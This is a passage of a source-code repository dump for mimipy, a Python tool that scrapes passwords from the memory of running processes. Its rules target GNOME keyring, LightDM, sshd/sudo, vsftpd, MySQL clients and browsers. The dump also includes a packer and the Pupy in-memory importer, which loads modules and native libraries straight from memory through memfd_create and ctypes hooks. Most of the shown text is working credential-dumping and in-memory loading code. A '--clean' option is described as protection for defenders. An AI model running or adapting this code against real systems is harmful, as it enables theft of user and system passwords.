re.compile(r\"/var/run/mysqld/mysqld.sock(?:\\x00)+[0-9\\.-]+(?:\\x00)+!(?:\\x00)+(?P<Login>[^\\x00]+)(?:\\x00)+!(?:\\x00)+(?P<Password>[^\\x00]+)\"),\n    \"MySQL-Client-3\" : re.compile(r\"\\x00!(?:\\x00)+(?P<Login>[^\\x00]+)(?:\\x00)+!(?:\\x00)+(?P<Password>[^\\x00]+)(?:\\x00)+mysql> elp;\"),\n}\n\nrules = [\n    {\n        \"desc\" : \"[SYSTEM - GNOME]\",\n        \"process\" : r\"gnome-keyring-daemon|gdm-password|gdm-session-worker\",\n        \"near\" : r\"libgcrypt\\.so\\..+|libgck\\-1\\.so\\.0|_pammodutil_getpwnam_|gkr_system_authtok\",\n        \"func\" : test_shadow,\n    },\n    {\n        \"desc\" : \"[SYSTEM - LightDM]\", # Ubuntu/xubuntu login screen :) https://doc.ubuntu-fr.org/lightdm\n        \"process\" : r\"lightdm\",\n        \"near\" : r\"_pammodutil_getpwnam_|gkr_system_authtok\",\n        \"func\" : test_shadow,\n    },\n    {\n        \"desc\" : \"[SYSTEM - SSH Server - sudo]\",\n        \"process\" : r\"/sshd$\",\n        \"near\" : r\"sudo.+|_pammodutil_getpwnam_\",\n        \"func\" : test_shadow,\n    },\n    {\n        \"desc\" : \"[SSH Client - sudo]\",\n        \"process\" : r\"/ssh$\",\n        \"near\" : r\"sudo.+|/tmp/ICE-unix/[0-9]+\",\n        \"func\" : test_shadow,\n    },\n    {\n        \"desc\" : \"[SYSTEM - VSFTPD]\",\n        \"process\" : r\"vsftpd\",\n        \"near\" : r\"^::.+\\:[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$\",\n        \"func\" : test_shadow,\n    },\n    #{\n    #    \"desc\" : \"[MySQL Client]\",\n    #    \"process\" : r\"/mysql$\",\n    #    \"func\" : loot_mysql_passwords,\n    #},\n    {\n        \"desc\" : \"[HTTP]\",\n        \"process\" : r\"firefox|iceweasel|chromium|chrome|/apache2|squid\",\n        \"func\" : loot_http_passwords,\n    },\n]\n\nREGEX_TYPE=type(re.compile(\"^plop$\"))\n#precompile regexes to optimize speed\nfor x in rules:\n    if \"near\" in x:\n        if type(x[\"near\"])!=REGEX_TYPE:\n            x[\"near\"]=re.compile(x[\"near\"])\n    if \"process\" in x:\n        if type(x[\"process\"])!=REGEX_TYPE:\n            x[\"process\"]=re.compile(x[\"process\"])\n\nif __name__==\"__main__\":\n    parser = argparse.ArgumentParser(description=\"\"\"\n    mimipy can loot passwords from memory or overwrite them to mitigate mimipenguin\\'s dumps !\n\n    Author: Nicolas VERDIER (contact@n1nj4.eu)\n    orginal mimipenguin.sh script and idea from @huntergregal\n    Bleeding Edge version: https://github.com/n1nj4sec/mimipy\n    \n    \"\"\", formatter_class=argparse.RawTextHelpFormatter)\n    parser.add_argument('--clean', action='store_true', help='@blueteams protect yourself and clean found passwords from memory ! You might want to regularly run this on your workstation/servers')\n    parser.add_argument('-v', '--verbose', action='store_true', help='be more verbose !')\n    parser.add_argument('-n', '--no-optimize', action='store_true', help='disable optimisations (search the whole memory whatever region perms are) (slower)')\n    parser.add_argument('-p', '--pid', type=int, help='choose the process\\'s pid to scan instead of automatic selection')\n    parser.add_argument('-i', '--ignore', action='append', help='ignore a process. This option can be used multiple times. ex: -i apache2 -i firefox')\n    parser.add_argument('--search-password', action='store_true', help='prompt for your password and search it in all your processes !.')\n    parser.add_argument('-m', '--search-mode', choices=[\"cleartext\", \"xor\", \"b64\", \"all\", \"no-cleartext\"], default='cleartext', help='search for different obfuscations methods')\n    args = parser.parse_args()\n\n    if args.verbose:\n        logging.basicConfig(stream=sys.stderr, level=logging.INFO)\n    else:\n        logging.basicConfig(stream=sys.stderr, level=logging.WARNING)\n    logging.basicConfig(filename='example.log', level=logging.DEBUG)\n\n    total_time=time.time()\n\n    if sys.platform!='win32':\n        if os.geteuid()!=0:\n            if sys.platform==\"darwin\":\n                logging.error(\"needs root to run mimipy on macOS\")\n                exit(1)\n            else:\n                logging.warning(\"Some of mimipy's functions are only available when running as root\")\n\n    opt=\"nsrx\"\n    if args.no_optimize:\n        logging.info(\"Optimizations disabled\")\n        opt=''\n\n    if args.search_password:\n        search_password(optimizations=opt, pid=args.pid, mode=args.search_mode, ignore=args.ignore)\n        exit(0)\n\n    if args.pid:\n        pid_found=False\n        for procdic in Process.list():\n            name=procdic.get(\"name\",\"\")\n            pid=int(procdic[\"pid\"])\n            if sys.platform==\"win32\":\n                if pid==0 or pid==4:\n                    continue\n            if pid==args.pid:\n                pid_found=True\n                try:\n                    start_time=time.time()\n                    for rule in rules:\n                        for t,u,p in rule[\"func\"](name, pid, rule, clean=args.clean, optimizations=opt):\n                            password_found(t, name, u, p)\n                except Exception as e:\n                    logging.warning(\"[-] %s\"%e)\n                finally:\n                    logging.info(\"Process %s analysed in %s seconds\"%(name, time.time()-start_time))\n        if not pid_found:\n            logging.info(\"pid %s not found !\"%args.pid)\n    else:\n        for t, process, u, passwd in mimipy_loot_passwords(optimizations=opt, clean=args.clean, ignore=args.ignore):\n            password_found(t, process, u, passwd)\n    logging.info(\"Script executed in %s seconds\"%(time.time()-total_time))\n\n\n\n"
  },
  {
    "path": "packed/pack.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)\n# mimipy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nimport sys\nimport os\nimport memorpy\nimport textwrap\nimport cPickle\n\ndef get_load_module_code(code, modulename):\n    loader=\"\"\"\nimport imp, sys\nfullname={}\nmod = imp.new_module(fullname)\nmod.__file__ = \"<bootloader>\\\\%s\" % fullname\nexec {} in mod.__dict__\nsys.modules[fullname]=mod\n    \"\"\".format(repr(modulename),repr(code))\n    return loader\n\nif __name__==\"__main__\":\n    packed_script=\"\"\"\n# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)\n# mimipy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n# this is a self contained mimipy.py with all packages embedded\n# last version available here https://github.com/n1nj4sec/mimipy\n\"\"\"\n    print \"packing pupyimporter\"\n    with open(\"pupyimporter.py\", 'rb') as f:\n        code=f.read()\n    packed_script+=\"\\n\"+get_load_module_code(code, \"pupyimporter\")+\"\\n\"\n    \n    print \"packing memorpy from %s\"%memorpy.__path__[0]\n\n    search_path=os.path.dirname(memorpy.__path__[0])\n    modules_dic={}\n    for root, dirs, files in os.walk(memorpy.__path__[0]):\n        to_embedd = set()\n        for f in files:\n            base, ext = os.path.splitext(f)\n            if base+'.pyc' in files and not ext in ('.pyc', '.pyo'):\n                continue\n            elif base+'.pyo' in files and not ext == '.pyo':\n                continue\n            else:\n                to_embedd.add(f)\n\n        for f in to_embedd:\n            module_code=\"\"\n            with open(os.path.join(root,f),'rb') as fd:\n                module_code=fd.read()\n            modprefix = root[len(search_path.rstrip(os.sep))+1:]\n            modpath = os.path.join(modprefix,f).replace(\"\\\\\",\"/\")\n            modules_dic[modpath]=module_code\n    packed_script+=textwrap.dedent(\"\"\"\n    import pupyimporter\n    pupyimporter.install()\n    pupyimporter.pupy_add_package(%s)\n    \"\"\"%repr(cPickle.dumps(modules_dic)))\n    with open(\"../mimipy.py\", 'rb') as f:\n        packed_script+=\"\\n\"+f.read()\n    with open(\"mimipy.py\", \"w\") as w:\n        w.write(packed_script)\n    print \"mimipy packed !\"\n\n\n"
  },
  {
    "path": "packed/pupyimporter.py",
    "content": "# -*- coding: utf-8 -*-\n# ---------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n# ---------------------------------------------------------------\n# This module uses the builtins modules pupy and _memimporter to load python modules and packages from memory, including .pyd files (windows only)\n# Pupy can dynamically add new modules to the modules dictionary to allow remote importing of python modules from memory !\n#\nimport sys, imp, marshal, gc\n\n__debug = False\n__trace = False\n\ndef dprint(msg):\n    global __debug\n    if __debug:\n        print msg\n\ndef memtrace(msg):\n    global __debug\n    global __trace\n    if __debug and __trace:\n        import time\n        import os\n        import cPickle\n        import gc\n\n        msg = msg or 'unknown'\n        msg = msg.replace('/', '_')\n\n        gc.collect()\n        snapshot = __trace.take_snapshot()\n\n        if not os.path.isdir('/tmp/pupy-traces'):\n            os.makedirs('/tmp/pupy-traces')\n\n        with open('/tmp/pupy-traces/{}-{}'.format(time.time(), msg), 'w+b') as out:\n            cPickle.dump(snapshot, out)\n\ntry:\n    import _memimporter\n    builtin_memimporter = True\n    allow_system_packages = False\n\nexcept ImportError:\n    builtin_memimporter = False\n    allow_system_packages = True\n    import ctypes\n    import platform\n    if sys.platform!=\"win32\":\n        libc = ctypes.CDLL(None)\n        syscall = libc.syscall\n    from tempfile import mkstemp\n    from os import chmod, unlink, close, write\n\n    class MemImporter(object):\n        def __init__(self):\n            self.dir = None\n            self.memfd = None\n            self.ready = False\n\n            if platform.system() == 'Linux':\n                maj, min = platform.release().split('.')[:2]\n                if maj >= 3 and min >= 13:\n                    __NR_memfd_create = None\n                    machine = platform.machine()\n                    if machine == 'x86_64':\n                        __NR_memfd_create = 319\n                    elif machine == '__i386__':\n                        __NR_memfd_create = 356\n\n                    if __NR_memfd_create:\n                        self.memfd = lambda: syscall(__NR_memfd_create, 'heap', 0x1)\n                        self.ready = True\n                        return\n\n            for dir in ['/dev/shm', '/tmp', '/var/tmp', '/run']:\n                try:\n                    fd, name = mkstemp(dir=dir)\n                except:\n                    continue\n\n                try:\n                    chmod(name, 0777)\n                    self.dir = dir\n                    self.ready = True\n                    break\n\n                finally:\n                    close(fd)\n                    unlink(name)\n\n        def import_module(self, data, initfuncname, fullname, path):\n            return self.load_library(data, fullname, dlopen=False, initfuncname=initfuncname)\n\n\n        def load_library(self, data, fullname, dlopen=True, initfuncname=None):\n            fd = -1\n            closefd = True\n\n            result = False\n\n            if self.memfd:\n                fd = self.memfd()\n                if fd != -1:\n                    name = '/proc/self/fd/{}'.format(fd)\n                    closefd = False\n\n            if fd == -1:\n                fd, name = mkstemp(dir=self.dir)\n\n            try:\n                write(fd, data)\n                if dlopen:\n                    result = ctypes.CDLL(fullname)\n                else:\n                    if initfuncname:\n                        result = imp.load_dynamic(initfuncname[4:], name)\n                    else:\n                        result = imp.load_dynamic(fullname, name)\n\n            except Exception as e:\n                self.dir = None\n                raise e\n\n            finally:\n                if closefd:\n                    close(fd)\n                    unlink(name)\n\n            return result\n\n    _memimporter = MemImporter()\n    builtin_memimporter = _memimporter.ready\n\nmodules = {}\nremote_load_package = None\nremote_print_error = None\n\ntry:\n    import pupy\n    if not (hasattr(pupy, 'pseudo') and pupy.pseudo) and not modules:\n        modules = pupy.get_modules()\nexcept ImportError:\n    pass\n\ndef get_module_files(fullname):\n    \"\"\" return the file to load \"\"\"\n    global modules\n    path = fullname.replace('.','/')\n\n    files = [\n        module for module in modules.iterkeys() \\\n        if module.rsplit(\".\",1)[0] == path or any([\n            path+'/__init__'+ext == module for ext in [\n                '.py', '.pyc', '.pyo'\n            ]\n        ])\n    ]\n\n    if len(files) > 1:\n        # If we have more than one file, than throw away dlls\n        files = [ x for x in files if not x.endswith('.dll') ]\n\n    return files\n\ndef pupy_add_package(pkdic, compressed=False, name=None):\n    \"\"\" update the modules dictionary to allow remote imports of new packages \"\"\"\n    import cPickle\n    import zlib\n\n    global modules\n\n    if compressed:\n        pkdic = zlib.decompress(pkdic)\n\n    module = cPickle.loads(pkdic)\n\n    dprint('Adding files: {}'.format(module.keys()))\n\n    modules.update(module)\n\n    if name:\n        try:\n            __import__(name)\n        except:\n            pass\n\n    gc.collect()\n\n    memtrace(name)\n\ndef has_module(name):\n    return name in sys.modules\n\ndef invalidate_module(name):\n    global modules\n    global __debug\n\n    for item in modules.keys():\n        if item == name or item.startswith(name+'.'):\n            dprint('Remove {} from pupyimporter.modules'.format(item))\n            del modules[item]\n\n    for item in sys.modules.keys():\n        if not (item == name or item.startswith(name+'.')):\n            continue\n\n        mid = id(sys.modules[item])\n\n        dprint('Remove {} from sys.modules'.format(item))\n        del sys.modules[item]\n\n        if hasattr(pupy, 'namespace'):\n            dprint('Remove {} from rpyc namespace'.format(item))\n            pupy.namespace.__invalidate__(item)\n\n        if __debug:\n            for obj in gc.get_objects():\n                if id(obj) == mid:\n                    dprint('Module {} still referenced by {}'.format(\n                        item, [ id(x) for x in gc.get_referrers(obj) ]\n                    ))\n\n    gc.collect()\n\ndef native_import(name):\n    __import__(name)\n\nclass PupyPackageLoader:\n    def __init__(self, fullname, contents, extension, is_pkg, path):\n        self.fullname = fullname\n        self.contents = contents\n        self.extension = extension\n        self.is_pkg=is_pkg\n        self.path=path\n        self.archive=\"\" #need this attribute\n\n    def load_module(self, fullname):\n        imp.acquire_lock()\n        try:\n            dprint('loading module {}'.format(fullname))\n            if fullname in sys.modules:\n                return sys.modules[fullname]\n\n            mod=None\n            c=None\n            if self.extension==\"py\":\n                mod = imp.new_module(fullname)\n                mod.__name__ = fullname\n                mod.__file__ = 'pupy://{}'.format(self.path)\n                if self.is_pkg:\n                    mod.__path__ = [mod.__file__.rsplit('/',1)[0]]\n                    mod.__package__ = fullname\n                else:\n                    mod.__package__ = fullname.rsplit('.', 1)[0]\n                code = compile(self.contents, mod.__file__, \"exec\")\n                sys.modules[fullname] = mod\n                exec (code, mod.__dict__)\n\n            elif self.extension in [\"pyc\",\"pyo\"]:\n                mod = imp.new_module(fullname)\n                mod.__name__ = fullname\n                mod.__file__ = 'pupy://{}'.format(self.path)\n                if self.is_pkg:\n                    mod.__path__ = [mod.__file__.rsplit('/',1)[0]]\n                    mod.__package__ = fullname\n                else:\n                    mod.__package__ = fullname.rsplit('.', 1)[0]\n                sys.modules[fullname] = mod\n                exec (marshal.loads(self.contents[8:]), mod.__dict__)\n\n            elif self.extension in (\"dll\", \"pyd\", \"so\"):\n                initname = \"init\" + fullname.rsplit(\".\",1)[-1]\n                path = self.fullname.rsplit('.', 1)[0].replace(\".\",'/') + \".\" + self.extension\n                dprint('Loading {} from memory'.format(fullname))\n                dprint('init={} fullname={} path={}'.format(initname, fullname, path))\n                mod = _memimporter.import_module(self.contents, initname, fullname, path)\n                if mod:\n                    mod.__name__=fullname\n                    mod.__file__ = 'pupy://{}'.format(self.path)\n                    mod.__package__ = fullname.rsplit('.',1)[0]\n                    sys.modules[fullname] = mod\n\n            try:\n                memtrace(fullname)\n            except Exception, e:\n                dprint('memtrace failed: {}'.format(e))\n\n\n        except Exception as e:\n\n            if fullname in sys.modules:\n                del sys.modules[fullname]\n\n            import traceback\n            exc_type, exc_value, exc_traceback = sys.exc_info()\n            sys.stderr.write('Error importing %s : %s'%(fullname, traceback.format_exc()))\n            dprint('PupyPackageLoader: '\n                       'Error while loading package {} ({}) : {}'.format(\n                           fullname, self.path, str(e)))\n            if remote_print_error:\n                try:\n                    remote_print_error(\"Error loading package {} ({} pkg={}) : {}\".format(\n                        fullname, self.path, self.is_pkg, str(traceback.format_exc())))\n                except:\n                    pass\n\n            raise e\n\n        finally:\n            self.contents = None\n            imp.release_lock()\n            gc.collect()\n\n        return sys.modules[fullname]\n\nclass PupyPackageFinderImportError(ImportError):\n    pass\n\nclass PupyPackageFinder(object):\n    def __init__(self, path=None):\n        if path and not path.startswith('pupy://'):\n            raise PupyPackageFinderImportError()\n\n    def find_module(self, fullname, path=None, second_pass=False):\n        global modules\n        imp.acquire_lock()\n        selected = None\n\n        try:\n            files=[]\n            if fullname in ( 'pywintypes', 'pythoncom' ):\n                fullname = fullname + '27.dll'\n                files = [ fullname ]\n            else:\n                files = get_module_files(fullname)\n\n            dprint('find_module({},{}) in {})'.format(fullname, path, files))\n            if not builtin_memimporter:\n                files = [\n                    f for f in files if not f.lower().endswith(('.pyd','.dll','.so'))\n                ]\n\n            if not files:\n                dprint('{} not found in {}: not in {} files'.format(\n                    fullname, files, len(files)))\n\n                if remote_load_package and not second_pass and not fullname.startswith('exposed_'):\n                    parts = fullname.split('.')[:-1]\n\n                    for i in xrange(len(parts)):\n                        part = '.'.join(parts[:i+1])\n                        if part in modules or part in sys.modules:\n                            return None\n\n                    try:\n                        if remote_load_package(fullname):\n                            return self.find_module(fullname, second_pass=True)\n                    except Exception as e:\n                        dprint('Exception: {}'.format(e))\n\n                return None\n\n            criterias = [\n                lambda f: any([\n                    f.endswith('/__init__'+ext) for ext in [\n                        '.pyo', '.pyc', '.py'\n                    ]\n                ]),\n                lambda f: any ([\n                    f.endswith(ext) for ext in [\n                        '.pyo', '.pyc'\n                    ]\n                ]),\n                lambda f: any ([\n                    f.endswith(ext) for ext in [\n                        '.pyd', '.py', '.so', '.dll'\n                    ]\n                ]),\n            ]\n\n            selected = None\n            for criteria in criterias:\n                for pyfile in files:\n                    if criteria(pyfile):\n                        selected = pyfile\n                        break\n\n            if not selected:\n                return None\n\n            content = modules[selected]\n            dprint('{} found in \"{}\" / size = {}'.format(fullname, selected, len(content)))\n\n            extension = selected.rsplit(\".\",1)[1].strip().lower()\n            is_pkg = any([\n                selected.endswith('/__init__'+ext) for ext in [ '.pyo', '.pyc', '.py' ]\n            ])\n\n            dprint('--> Loading {} ({}) package={}'.format(\n                fullname, selected, is_pkg))\n\n            return PupyPackageLoader(fullname, content, extension, is_pkg, selected)\n\n        except Exception as e:\n            dprint('--> Loading {} failed: {}'.format(fullname, e))\n            raise e\n\n        finally:\n            # Don't delete network.conf module\n            if selected and not selected.startswith('network/conf'):\n                dprint('XXX {} remove {} from bundle / count = {}'.format(fullname, selected, len(modules)))\n                del modules[selected]\n\n            imp.release_lock()\n            gc.collect()\n\ndef register_package_request_hook(hook):\n    global remote_load_package\n    remote_load_package = hook\n\ndef register_package_error_hook(hook):\n    global remote_print_error\n    import rpyc\n    remote_print_error = rpyc.async(hook)\n\ndef unregister_package_error_hook():\n    global remote_print_error\n    remote_print_error = None\n\ndef unregister_package_request_hook():\n    global remote_load_package\n    remote_load_package = None\n\ndef install(debug=None, trace=False):\n    global __debug\n    global __trace\n    global modules\n\n    #if debug:\n    #    __debug = True\n\n    if trace:\n        __trace = trace\n\n    gc.set_threshold(128)\n\n    if allow_system_packages:\n        sys.path_hooks.append(PupyPackageFinder)\n        sys.path.append('pupy://')\n    else:\n        sys.meta_path = []\n        sys.path = []\n        sys.path_hooks = []\n        sys.path_hooks = [PupyPackageFinder]\n        sys.path.append('pupy://')\n        sys.path_importer_cache.clear()\n\n        import platform\n        platform._syscmd_uname = lambda *args, **kwargs: ''\n        platform.architecture = lambda *args, **kwargs: (\n            '32bit' if pupy.get_arch() == 'x86' else '64bit', ''\n        )\n\n    try:\n        if __trace:\n            __trace = __import__('tracemalloc')\n\n        if __debug and __trace:\n            dprint('tracemalloc enabled')\n            __trace.start(10)\n\n    except Exception, e:\n        dprint('tracemalloc init failed: {}'.format(e))\n        __trace = None\n\n    import ctypes\n    import ctypes.util\n    import os\n\n    ctypes._system_dlopen = ctypes._dlopen\n    ctypes.util._system_find_library = ctypes.util.find_library\n\n    def pupy_make_path(name):\n        if not name:\n            return\n        if 'pupy:' in name:\n            name = name[name.find('pupy:')+5:]\n            name = os.path.relpath(name)\n            name = '/'.join([\n                x for x in name.split(os.path.sep) if x and not x in ( '.', '..' )\n            ])\n\n        return name\n\n    def pupy_find_library(name):\n        pupyized = pupy_make_path(name)\n        if pupyized in modules:\n            dprint(\"FIND LIBRARY: {} => {}\".format(name, pupyized))\n            return pupyized\n        else:\n            return ctypes.util._system_find_library(name)\n\n    def pupy_dlopen(name, *args, **kwargs):\n        dprint(\"ctypes dlopen: {}\".format(name))\n        from_pupy = False\n        name = pupy_make_path(name)\n        dprint(\"ctypes dlopen / pupyized: {}\".format(name))\n\n        if name in modules:\n            if hasattr(_memimporter, 'load_library'):\n                try:\n                    return _memimporter.load_library(modules[name], name)\n                except:\n                    pass\n            elif hasattr(pupy, 'load_dll'):\n                try:\n                    return pupy.load_dll(name, modules[name])\n                except:\n                    pass\n\n        if not from_pupy:\n            return ctypes._system_dlopen(name, *args, **kwargs)\n\n\n    if 'pupy' in sys.modules and hasattr(pupy, 'find_function_address'):\n        ctypes.CDLL_ORIG = ctypes.CDLL\n\n        class PupyCDLL(ctypes.CDLL_ORIG):\n            def __init__(self, name, **kwargs):\n                super(PupyCDLL, self).__init__(name, **kwargs)\n                self._FuncPtr_orig = self._FuncPtr\n                self._FuncPtr = self._find_function_address\n                self._name = pupy_make_path(self._name)\n                dprint('CDLL({})'.format(self._name))\n\n            def _find_function_address(self, search_tuple):\n                name, handle = search_tuple\n                dprint(\"PupyCDLL._find_function_address: {}\".format(name))\n                if not type(name) in (str, unicode):\n                    return self._FuncPtr_orig(search_tuple)\n                else:\n                    addr = pupy.find_function_address(self._name, name)\n                    dprint(\"PupyCDLL._find_function_address: {} = {}\".format(name, addr))\n                    if addr:\n                        return self._FuncPtr_orig(addr)\n                    else:\n                        return self._FuncPtr_orig(search_tuple)\n\n        ctypes.CDLL = PupyCDLL\n\n    ctypes._dlopen = pupy_dlopen\n    ctypes.util.find_library = pupy_find_library\n\n    #if 'win' in sys.platform:\n    #    import pywintypes\n    if __debug:\n        print 'Bundled modules:'\n        for module in modules.iterkeys():\n            print '+ {}'.format(module)\n"
  },
  {
    "path": "requirements.txt",
    "content": "https://github.com/n1nj4sec/memorpy/archive/master.zip\n"
  }
]